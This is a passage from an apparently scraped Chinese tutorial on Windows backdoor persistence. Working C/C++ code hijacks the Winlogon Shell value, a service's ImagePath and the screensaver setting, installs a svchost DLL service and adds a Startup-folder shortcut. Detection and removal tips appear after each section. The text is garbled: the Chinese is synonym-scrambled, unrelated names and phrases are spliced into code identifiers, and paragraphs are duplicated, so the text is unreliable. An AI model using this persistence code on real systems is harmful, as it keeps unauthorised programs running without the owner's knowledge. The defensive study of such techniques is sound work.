BYTE shell_value_buffer[MAX_PATH * 2];

DWORD value_buffer_size = sizeof(shell_value_buffer) ;

HKEY winlogon_key = NULL;

DWORD set_value_size;

BYTE path[MAX_PATH];

rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"),

NULL, KEY_ALL_ACCESS, &winlogon_key);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

rcode = RegQueryValueEx(winlogon_key,_TEXT("shell"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if (rcode != ERROR_SUCCESS)

{

//找不到指定的键值

if (rcode == 0x2)

{

//写入 explorer.exe 和 自界说的途径

lstrcpy((TCHAR*)path, _TEXT("explorer.exe, rundll32.exe \"C:\\topsec.dll\" RunProc"));

set_value_size = lstrlen((TCHAR*)path) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, path, set_v刘芊含alue_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

else

{

goto ERROR_EXIT;

}

}

else

{

//原先已存在,追加写入

lstrcat((TCHAR*)shell_value_buffer, _TEXT(",rundll32.exe \"C:\\topsec.dll\" RunProc"));

set_value_size = lstrlen((TCHAR*)shell_value_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, shell_value_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

ret = TRUE;

ERROR_EXIT:

if (winlogon_key != NULL)

{

RegCloseKey(winlogon_key);

winlogon_key = NULL;

}

return ret;

}

其间 topsec.dll 的导出函数 RunProc 代码如下:

extern "C" __declspec(dllexport) void RunProc(HWND hwnd,HINSTANCE hinst, LPTSTR lpCmdLine,int nCmdShow)

{

while (TRUE)

{

OutputDebugString(_TEXT("Hello Topsec with Rundll32!!!"));

Sleep(1000);

}

}

运转作用图

当该用户下次登录的时分 Winlogon 会带动 Rundll32 程序,经过指令行参数加载预设的 DLL 文件履行其导出函数,如下图所示,方针安稳运转中:

运转后的注册表键值状况如下图所示:

检查及铲除办法

检查以下 2 个注册表途径中的「Shell」、「Userinit」、「Notify」等键值是否存在不明来历的程序途径

1)HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\

2)HKCU\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\

1)HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\

2)HKCU\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\

要害键值如下图所示:

1)Winlogon\Notify – 默许指向处理 Winlogon 事情的告诉包 DLL

2)Winlogon\Userinit – 默许指向 userinit.exe,即用户登录时履行的用户初始化程序

3)Winlogon\Shell – 默许指向 explorer.exe,即用户登录时履行的体系 shell

1)Winlogon\Notify – 默许指向处理 Winlogon 事情的告诉包 DLL

2)Winlogon\Userinit – 默许指向 userinit.exe,即用户登录时履行的用户初始化程序

3)Winlogon\Shell – 默许指向 explorer.exe,即用户登录时履行的体系 shell

Windows 服务的装备信息存储在注册表中,一个服务项有许多键值,想要修正现有服务,就要了解服务中的键值代表的功用。

「DisplayName」,字符串值,对应服务称号;

「Deion」,字符串值,对应服务描绘;

「ImagePath」,字符串值,对应该服务程序地点的途径;

「ObjectName」,字符串值,值为「LocalSystem」,表明本地登录;

「ErrorControl」,DWORD 值,值为「1」;

「Start」,DWORD 值,值为 2 表明主动运转,值为 3 表明手动运转,值为 4 表明制止;

「Type」,DWORD 值,运用程序对应 10,其他对应 20。

「DisplayName」,字符串值,对应服务称号;

「Deion」,字符串值,对应服务描绘;

「ImagePath」,字符串值,对应该服务程序地点的途径;

「ObjectName」,字符串值,值为「LocalSystem」,表明本地登录;

「ErrorControl」,DWORD 值,值为「1」;

「Start」,DWORD 值,值为 2 表明主动运转,值为 3 表明手动运转,值为 4 表明制止;

「Type」,DWORD 值,运用程序对应 10,其他对应 20。

在这儿,咱们只需求注意「ImagePath」,「Start」,「Type」三个键值,「ImagePath」修正为自己的程序途径,「Start」改为 2,主动运转,「Type」改为 10 运用程序。

接下来就要选择一个服务,在这儿,咱们选择的服务是「COMSysApp」,自身「Type」为 10。

修正键值的代码如下:

HKEY hKey;

DWORD dwDisposition;

DWORD dwData = 2;

const char system[] = "C:\\SeviceTopSec.exe";//hello.exe

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_LOCAL_MACHINE,

"SYSTEM\\CurrentControlSet\\services\\COMSysApp", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

{

return 0;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, "ImagePath", 0, REG_EXPAND_SZ, (BYTE*)system, (1 + ::lstrlenA(system))))

{

return 0;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, "Start", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD)))

{

return 0;

}

return 0;

可是「ImagePath」中的程序并不是一般的程序,需求用到一些特定的 API,完结服务的创立流程。

总的来说,一个恪守服务操控办理程序接口要求的程序包括下面三个函数:

服务程序主函数(main):调用体系函数 StartServiceCtrlDispatcher 衔接程序主线程到服务操控办理程序。

服务进口点函数(ServiceMain):履行服务初始化使命,一起履行多个服务的服务进程有多个服务进口函数。

操控服务处理程序函数(Handler):在服务程序收到操控恳求时由操控分发线程引证。

服务程序主函数(main):调用体系函数 StartServiceCtrlDispatcher 衔接程序主线程到服务操控办理程序。

服务进口点函数(ServiceMain):履行服务初始化使命,一起履行多个服务的服务进程有多个服务进口函数。

操控服务处理程序函数(Handler):在服务程序收到操控恳求时由操控分发线程引证。

服务程序代码如下:

HANDLE hServiceThread;

void KillService;

char* strServiceName = "sev_topsec";

SERVICE_STATUS_HANDLE郑雨盛,小s-万物皆可 App,app开展,创立app nSer相册制造viceStatusHandle;

HANDLE killServiceEvent;

BOOL nServiceRunning;

DWORD nServiceCurrentStatus;

void main(int argc, char* argv[])

{

SERVICE_TABLE_ENTRYA ServiceTable[] =

{

{strServiceName,(LPSERVICE_MAIN_FUNCTIONA)ServiceMain},

{NULL,NULL}

};

BOOL success;

success = StartServiceCtrlDispatcherA(ServiceTable);

if (!success)

{

printf("fialed!");

}

}

void ServiceMain(DWORD argc, LPTSTR* argv)

{

BOOL success;

nServiceStatusHandle = RegisterServiceCtrlHandlerA(strServiceName,

(LPHANDLER_FUNCTION)ServiceCtrlHandler);

success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 1, 3000);

killServiceEvent = CreateEvent(0, TRUE, FALSE, 0);

if (killServiceEvent == NULL)

{

return;

}

success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 2, 1000);

success = InitThread;

nServiceCurrentStatus = SERVICE_RUNNING;

success = ReportStatusToSCMgr(SERVICE_RUNNING, NO_ERROR, 0, 0, 0);

WaitForSingleObject(killServiceEvent, INFINITE);

CloseHandle(killServiceEvent);

}

BOOL ReportStatusToSCMgr(DWORD dwCurrentState, DWORD dwWin32ExitCode,DWORD dwServiceSpecificExitCode, DWORD dwCheckPoint,DWORD dwWaitHint)

{

BOOL success;

SERVICE_STATUS nServiceStatus;

nServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;

nServiceStatus.dwCurrentState = dwCurrentState;

//

if (dwCurrentState == SERVICE_START_PENDING)

{

nServiceStatus.dwControlsAccepted = 0;

}

else

{

nServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP

| SERVICE_ACCEPT_SHUTDOWN;

}

if (dwServiceSpecificExitCode == 0)

{

nSer王朔viceStatus.dwWin32ExitCode = dwWin32ExitCode;

}

else

{

nServiceStatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;

}

nServiceStatus.dwServiceSpecificExitCode = dwServiceSpecificExitCode;

//

nServiceStatus.dwCheckPoint = dwCheckPoint;

nServiceStatus.dwWaitHint = dwWaitHint;

success = SetServiceStatus(nServiceStatusHandle, &nServiceStatus);

if (!success)

{

KillService;

return success;

}

else

return success;

}

BOOL InitThread

{

DWORD id;

hServiceThread = CreateThread(0, 0,

(LPTHREAD_START_ROUTINE)OutputString,

0, 0, &id);

if (hServiceThread == 0)

{

return false;

}

else

{

nServiceRunning = true;

return true;

}

}

DWORD OutputString(LPDWORD param)

{

OutputDebugString(L"Hello TopSec\n");

return 0;

}

void KillService

{

nServiceRunning = false;

SetEvent(killServiceEvent);

ReportStatusToSCMgr(SERVICE_STOPPED, NO_ERROR, 0, 0, 0);

}

void ServiceCtrlHandler(DWORD dwControlCode)

{

BOOL success;

switch (dwControlCode)

{

case SERVICE_CONTROL_SHUTDOWN:

case SERVICE_CONTROL_STOP:

nServiceCurrentStatus = SERVICE_STOP_PENDING;

success = ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, 0, 1, 3000);

KillService;

return;

default:

break;

}

ReportStatusToSCMgr(nServiceCurrentStatus, NO_ERROR, 0, 0, 0);

}

运转作用图

先修正注册表中的键值

重启「COMSysApp「服务

发现在 DebugView 中打印出字符串。

在使命办理器中点击转到进程,发现咱们自己写的服务程序正在运转

检查及铲除办法

1.检查注册表中与已知程序无关的注册表项的更改

2.检查已知服务的反常进程调用树。

1.检查注册表中与已知程序无关的注册表项的更改

2.检查已知服务的反常进程调用树。

屏幕维护是为了维护显现器而规划的一种专门的程序。其时规划的初衷是为了避免电脑因无人操作而使显现器长时刻显现同一个画面,导致老化而缩短显现器寿数。用户在必定时刻内不活动鼠标键盘之后会履行屏幕维护程序,屏保程序为具有.scr 文件扩展名的可履行文件(PE)。

进犯者能够经过将屏幕维护程序设置为在用户鼠标键盘不活动的必定时刻段之后运转歹意软件,也便是运用屏幕维护程序设置来坚持后门的耐久性。

屏幕维护程序的装备信息存储在在注册表中,途径为 HKCU\Control Panel\Desktop,咱们也能够经过改写要害键值来完结后门耐久:

SCRNSAVE.EXE – 设置为歹意 PE 途径

ScreenSaveActive – 设置为「1」以启用屏幕维护程序

ScreenSaverIsSecure – 设置为「0」,不需求暗码即可解锁

ScreenSaverTimeout – 指定在屏幕维护程序发动之前体系坚持闲暇的时刻。

SCRNSAVE.EXE – 设置为歹意 PE 途径

ScreenSaveActive – 设置为「1」以启用屏幕维护程序

ScreenSaverIsSecure – 设置为「0」,不需求暗码即可解锁

ScreenSaverTimeout – 指定在屏幕维护程序发动之前体系坚持闲暇的时刻。

更详细的信息,能够检查微软对相关注册表项的阐明页面, 点击此处。

如下的代码演示了怎么经过屏保程序来完结后门耐久化:

BOOL add_to_screensaver

{

BOOL ret = FALSE;

LONG rcode = NULL;

DWORD key_value_type;

BYTE shell_value_buffer[MAX_PATH * 2];

DWORD value_buffer_size = sizeof(shell_value_buffer) ;

HKEY desktop_key = NULL;

DWORD set_value_size;

BYTE set_buffer[MAX_PATH];

rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT("Control Panel\\Desktop"),

NULL, KEY_ALL_ACCESS, &desktop_key);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//

value_buffer_size = sizeof(shell_value_buffer);

rcode = RegQueryValueEx(desktop_key,_TEXT("ScreenSaveActive"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if (rcode != ERROR_SUCCESS)

{

//找不到指定的键值,阐明未敞开屏保功用。

if (rcode == 0x2)

{

//设置待发动程序途径

lstrcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//设置发动时刻,60 秒无鼠标键盘活动后发动屏保

lstrcpy((TCHAR*)set_buffer, _TEXT("60"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//敞开屏保功用

lstrcpy((TCHAR*)set_buffer, _TEXT("1"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveActive"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

else

{

goto ERROR_EXIT;

}

}

else

{

//有键值存在, 已敞开屏幕维护功用,需求保存原设置,驻留程序按实际状况发动原屏保

if(lstrcmp(_TEXT("1"), (TCHAR*)shell_value_buffer) == NULL)

{

//读取原值并保存

value_buffer_size = sizeof(shell_value_buffer);

rcode = RegQueryValueEx(desktop_key,_TEXT("SCRNSAVE.EXE"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if(rcode != ERROR_SUCCESS && rcode != 0x2)

{

goto ERROR_EXIT;

}

//当 ScreenSaveActive 值为 1 而又不存在 SCRNSAVE.EXE 时,不备份。

if(rcode != 0x2)

{

rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE.BAK"), NULL, REG_SZ, shell_value_buffer, value_buffer_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

//改为待发动程序

lstrcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ, set_buffer, set_value_size);

if (rc郑雨盛,小s-万物皆可 App,app开展,创立appode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//判别是否有装备屏保发动时刻

value_buffer_size = sizeof(shell_value_buffer);

rcode = RegQueryValueEx(desktop_key,_TEXT("ScreenSaveTimeOut"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if(rcode != ERROR_SUCCESS && rcode == 0x2)

{

//设置发动时刻,60 秒无鼠标键盘活动后发动屏保

lstrcpy((TC郑雨盛,小s-万物皆可 App,app开展,创立appHAR*)set_buffer, _TEXT("60"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

}

else if(lstrcmp(_TEXT("0"), (TCHAR*)shell_value_buffer) == NULL)

{

//该值为 0,未敞开屏幕维护功用

//设置待发动程序途径

lstrcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//设置发动时刻,60 秒无鼠标键盘活动后发动屏保

lstrcpy((TCHAR*)set_buffer, _TEXT("60"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//敞开屏保功用

lstrcpy((TCHAR*)set_buffer, _TEXT("1"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveActive"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

}

ret = TRUE;

ERROR_EXIT:

if (desktop_key != NULL)

{

RegCloseKey(desktop_key);

desktop_key = NULL;

}

return ret;

}

其间 topsec.exe 代码如下:

#include "stdafx.h"

#include

#include

int _tmain(int argc, _TCHAR* argv[])

{

int i = 10000;

while(i)

{

i--;

Sleep(1000);

OutputDebugString(_TEXT("Hello Topsec!!!"));

}

return 0;

}

运转作用图

当该用户因鼠标键盘未操作触发屏保程序运转,咱们的程序就被发动了,运转后的作用及注册表键值状况如下图所示:

检查及铲除办法

1.检查注册表途径 HKCU\Control Panel\Desktop,删去包括来历不明的屏保程序装备信息。

2.经过组策略以强制用户运用专用的屏幕维护程序,或许是经过组策略彻底禁用屏保功用。

1.检查注册表途径 HKCU\Control Panel\Desktop,删去包括来历不明的屏保程序装备信息。

2.经过组策略以强制用户运用专用的屏幕维护程序,或许是经过组策略彻底禁用屏保功用。

在 Windows 上还有一个重要的机戳制,也便是服务。服务程序一般静静的运转在后台,且具有 SYSTEM 权限,十分合适用于后门耐久化。咱们能够将 EXE 文件注册为服务,也能够将 DLL 文件注册为服务,本文这一部分将以 DLL 类型的服务为例,介绍装置及检查的思路。

信任不论是安全从业者仍是一般用户都听说过 svchost 进程,体系中存在不少 Svchost 进程,有的还会占用很高的 cpu,终究这个 Svchost 是何方神圣?是歹意代码仍是正常程序?信任不少人用户发出过这样的疑问。实际上 Svchost 是一个正常的体系程序,只不过他是 DLL 类型服务的外壳程序,简单被歹意代码所运用。

Service Host (Svchost.exe) 是同享服务进程,作为 DLL 文件类型服务的外壳,由 Svchost 程序加载指定服务的 DLL 文件。在 Windows 10 1703 曾经,不同的同享服务会组织到相关的 Service host 组中,每个组运转在不同的 Service Host 进程中。这样假如一个 Service Host 发作问题不会影响其他的 Service Host。Windows 经过将服务与匹配的安全性要求相结合,来承认 Service Host Groups,一部分默许的组名如下:

Local Service

Local Service No Network

Local Service Network Restricted

Local System

Local System Network Restricted

Network Service

Local Service

Local Service No Network

Local Service Network Restricted

Local System

Local System Network Restricted

Network Service

而从 Windows 10 Creators Update(版别 1703)开端,从前分组的服务将被分隔,每个服务将在其自己的 SvcHost Host 进程中运转。关于运转 Client Desktop SKU 的 RAM 超越 3.5 GB 的体系,此更改是主动的。在具有 3.5 GB 或更少内存的体系上,将继续将服务分组到同享的 SvcHost 进程中。

此规划更改的优点包括:

经过将要害网络服务与主机中的其他非网络服务的毛病阻隔,并在网络组件溃散时增加无缝康复网络衔接的才能,进步了可靠性。

经过消除与阻隔同享主机中的行为不妥服务相关的毛病扫除开支,降低了支撑本钱。

经过供给额定的服务间阻隔来进步安全性

经过答应每项服务设置和权限进步可扩展性

经过按服务 CPU,I / O 和内存办理改善资源办理,并增加明晰的确诊数据(陈述每个服务的 CPU,I / O 和网络运用状况)。

经过将要害网络服务与主机中的其他非网络服务的毛病阻隔,并在网络组件溃散时增加无缝康复网络衔接的才能,进步了可靠性。

经过消除与阻隔同享主机中的行为不妥服务相关的毛病扫除开支,降低了支撑本钱。

经过供给额定的服务间阻隔来进步安全性

经过答应每项服务设置和权限进步可扩展性

经过按服务 CPU,I / O 和内存办理改善资源办理,并增加明晰的确诊数据(陈述每个服务的 CPU,I / O 和网络运用状况)。

在体系发动时,Svchost.exe 会检查注册表以承认应加载哪些服务,注册表途径如下:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost . 在笔者的电脑上,如下图:

而在注册表 HKLM\SYSTEM\CurrentControlSet\Services,保存着注册服务的相关信息,以 netsvcs 组中的 AeLoookupSvc 为例,咱们看一下相关信息:

该途径下保存了服务的 ImagePath、Deion、DisplayName 等信息,当然还包括一些服务的其他装备,这儿不逐个列举。如下的代码演示了怎么增加一个运用 Svchost 发动的 DLL 同享服务。

BOOL search_svchost_service_name(TCHAR* service_name_buffer, PDWORD buffer_size)

{

BOOL bRet = FALSE;

int rc = 0;

HKEY hkRoot;

BYTE buff[2048];

TCHAR* ptr = NULL;

DWORD type;

DWORD size = sizeof(buff);

int i = 0;

bool bExist = false;

TCHAR tmp_service_name[50];

TCHAR* pSvchost = _TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");

rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);

if(ERROR_SUCCESS != rc)

{

return NULL;

}

rc = RegQueryValueEx(hkRoot, _TEXT("netsvcs"), 0, &type, buff, &size);

SetLastError(rc);

if(ERROR_SUCCESS != rc)

{

RegCloseKey(hkRoot);

return NULL;

}

do

{

wsprintf(tmp_service_name, _TEXT("netsvcs_0x%d"), i);

for(ptr = (TCHAR*)buff; *ptr; ptr = _tcschr(ptr, 0)+1)

{

if (lstrcmpi(ptr, tmp_service_name) == 0)

{

bExist = true;

break;

}

}

if (bExist == false)

{

break;

}

bExist = false;

i++;

} while(1);

memcpy(buff + size - sizeof(TCHAR), tmp_service_name, lstrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));

rc = RegSetValueEx(hkRoot, _TEXT("netsvcs"), 0, REG_MULTI_SZ, buff, size + lokooostrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));

if(ERROR_SUCCESS != rc)

{

goto ERROE_EXIT;

}

if (bExist == false)

{

lstrcpyn(service_name_buffer, tmp_service_name, *buffer_size);

*buffer_size =lstrlen(service_name_buffer);

}

bRet = TRUE;

ERROE_EXIT:

if (hkRoot != NULL)

{

RegCloseKey(hkRoot);

hkRoot = NULL;

}

return bRet;

}

BOOL install_service(LPCTSTR full_dll_path, TCHAR* service_name_buffer, PDWORD buffer_size)

{

BOOL bRet = FALSE;

int rc = 0;

HKEY hkRoot = HKEY_LOCAL_MACHINE;

HKEY hkParam = 0;

SC_HANDLE hscm = NULL;

SC_HANDLE schService = NULL;

TCHAR strModulePath[MAX_PATH];

TCHAR strSysDir[MAX_PATH];

DWORD dwStartType = 0;

BYTE buff[1024];

DWORD type;

DWORD size = sizeof(buff);

TCHAR* binary_path = _TEXT("%SystemRoot%\\System32\\svchost.exe -k netsvcs");

TCHAR* ptr;

TCHAR* pSvchost = _TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");

rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

rc = RegQueryValueEx(hkRoot, _TEXT("netsvcs"), 0, &type, buff, &size);

RegCloseKey(hkRoot);

SetLastError(rc);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

//install service

hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

if (hscm == NULL)

{

goto ERROR_EXIT;

}

if(!search_svchost_service_name(service_name_buffer, buffer_size))

{

goto ERROR_EXIT;

}

schService = CreateService(

hscm, // SCManager database

service_name_buffer, // name of service

service_name_buffer, // service name to display

SERVICE_ALL_ACCESS, // desired access

SERVICE_WIN32_OWN_PROCESS,

SERVICE_AUTO_START, // start type

SERVICE_ERROR_NORMAL, // error control type

binary_path, // service's binary

NULL, // no load ordering group

NULL, // no tag identifier

NULL, // no dependencies

NULL, // LocalSystem account

NULL); // no password

dwStartType = SERVICE_WIN32_OWN_PROCESS;

if (schService == NULL)

{

goto ERROR_EXIT;

}

CloseServiceHandle(schService);

CloseServiceHandle(hscm);

//config service

hkRoot = HKEY_LOCAL_MACHINE;

lstrcpy((TCHAR*)buff, _TEXT("SYSTEM\\CurrentControlSet\\Services\\"));

lstrcat((TCHAR*)buff, ser3d走势vice_name_buffer);

rc = RegOpenKeyEx(hkRoot, (TCHAR*)buff, 0, KEY_ALL_ACCESS, &hkRoot);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

rc = RegCreateKey(hkRoot, _TEXT("Param太浩仙门eters"), &hkParam);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

rc = RegSetValueEx(hkParam, _TEXT("ServiceDll"), 0, REG_EXPAND_SZ, (PBYTE)full_dll_path, lstrlen(full_dll_path) * sizeof(TCHAR) + sizeof(TCHAR));

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

bRet = TRUE;

ERROR_EXIT:

if(hkParam != NULL)

{

RegCloseKey(hkParam);

hkParam = NULL;

}

if(schService != NULL)

{

CloseServiceHandle(schService);

schService = NULL;

}

if(hscm != NULL)

{

CloseServiceHandle(hscm);

hscm = NULL;

}

return bRet;

}

void start_service(LPCTSTR lpService)

{

SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );

if ( NULL != hSCManager )

{

SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);

if ( NULL != hService )

{

StartService(hService, 0, NULL);

CloseServiceHandle( hService );

}

CloseServiceHandle( hSCManager );

}

}

BOOL add_to_service

{

//

BOOL bRet = FALSE;

DWORD service_name_size;

TCHAR service_name[MAXBYTE * 2];

service_name_size = sizeof(service_name) / sizeof(TCHAR);

if(install_service(_TEXT("C:\\service.dll"),service_name, &service_name_size))

{

start_service(service_name);

_tprintf(_TEXT("install service successful!!!"));

bRet= TRUE;

}

else

{

_tprintf(_TEXT("can not install service!!!"));

}

return bRet;

}

而服务 DLL 也需求满意必定的格局,该服务有必要导出 ServiceMain 函数并调用 RegisterServiceCtrlHandlerEx 函数注册 Service Handler,详细的服务 DLL 的代码如下如下

BOOL APIEN兰花草TRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_D柳二龙ETACH:

break;

}

return TRUE;

}

SERVICE_STATUS_HANDLE g_service_status_handle = NULL;

SERVICE_STATUS g_service_status =

{

SERVICE_WIN32_SHARE_PROCESS,

SERVICE_START_PENDING,

SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE

};

DWORD WINAPI ServiceHandler(DWORD dwControl,DWORD dwEventType,LPVOID lpEventData,LPVOID lpContext)

{

switch (dwControl)

{

case SERVICE_CONTROL_STOP:

case SERVICE_CONTROL_SHUTDOWN:

g_service_status.dwCurrentState = SERVICE_STOPPED;

break;

case SERVICE_CONTROL_PAUSE:

g_service_status.dwCurrentState = SERVICE_PAUSED;

break;

case SERVICE_CONTROL_CONTINUE:

g_service_st郑雨盛,小s-万物皆可 App,app开展,创立appatus.dwCurrentState = SERVICE_RUNNING;

break;

case SERVICE_CONTROL_INTERROGATE:

break;

default:

break;

};

SetServiceStatus(g_service_status_handle, &g_service_status);

return NO_ERROR;

}

extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc,LPCTSTR* lpszArgv)

{

g_service_status_handle = RegisterServiceCtrlHandlerEx(_TEXT("Svchost Service"), ServiceHandler, NULL);

if (!g_service_status_handle)

{

return;

}

g_service_status.dwCurrentState = SERVICE_RUNNING;

SetServiceStatus(g_service_status_handle, &g_service_status);

while(TRUE)

{

Sleep(1000);

OutputDebugString(_TEXT("Hello Topsec In Svchost"));

}

return;

};

运转作用图

运转样本文件后,服务被创立起来,在后台安稳运转中。

检查及铲除办法

3.监控新服务的创立,检查新服务的要害信息,如 ImagePath,对文件进行验证。制止不明来历服务的装置行为

4.运用 Sysinternals Autoruns 东西检查已有的服务,并验证服务模块的合法性。如验证是否有文件签名、签名是否正常。能够运用 AutoRuns 东西删去不安全的服务

3.监控新服务的创立,检查新服务的要害信息,如 ImagePath,对文件进行验证。制止不明来历服务的装置行为

4.运用 Sysinternals Autoruns 东西检查已有的服务,并验证服务模块的合法性。如验证是否有文件签名、签名是否正常。能够运用 AutoRuns 东西删去不安全的服务

发动项 原理及代码介绍

发动项,便是开机的时分体系会在前台或许后台运转的程序。设置发动项的办法分为两种:

1. Startup 文件夹

文件快捷办法是一种用户界面中的句柄,它答应用户找到或运用坐落另一个目录或文件夹的一个文件或资源,快捷办法还或许额定指定指令行参数,然后在运转它时将所定参数传递到方针程序。

Startup 文件夹是 Windows 操作体系中的功用,它运用户能够在 Windows 发动时主动运转指定的程序集。在不同版别的 Windows 中,发动文件夹的方位或许略有不同。任何需求在体系发动时主动运转的程序都有必要存储为此文件夹中的快捷办法。

进犯者能够经过在 Startup 目录树立快捷办法以履行其需求耐久化的程序。他们能够创立一个新的快捷办法作为直接手法,能够运用假装看起来像一个合法的程序。进犯者还能够修正方针途径或彻底替换现有快捷办法,以便履行其东西而不是预期的合法程序。

如下的代码演示了在 Startup 目录树立快捷办法来完结后门耐久化:

BOOL add_to_lnkfile

{

BOOL ret = FALSE;

HRESULT hcode;

TCHAR startup_path[MAX_PATH];

TCHAR save_path[MAX_PATH*2];

TCHAR command[MAXBYTE * 2];

IShellLink* shelllnk = NULL;

IPersistFile* pstfile = NULL;

hcode = CoInitialize(NULL);

if (hcode != S_OK)

{

goto Error_Exit;

}

hcode = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void**)&shelllnk);

if (hcode != S_OK)

{

goto Error_Exit;

}

hcode = shelllnk->QueryInterface(IID_IPersistFile,(void**)&pstfile);

if (hcode != S_OK)

{

goto Error_Exit;

}

//设置快捷办法指令

wsprintf(command, _TEXT("C:\\windows\\system32\\rundll32.exe"));

hcode = shelllnk->SetPath(command);

if (hcode != S_OK)

{

MessageBox(NULL, command, command,MB_OK);

goto Error_Exit;

}

wsprintf(command, _TEXT(" %s %s"), _TEXT("c:\\topsec.dll"), _TEXT("RunProc"));

hcode = shelllnk->SetArguments(command);

if (hcode != S_OK)

{

goto Error_Exit;

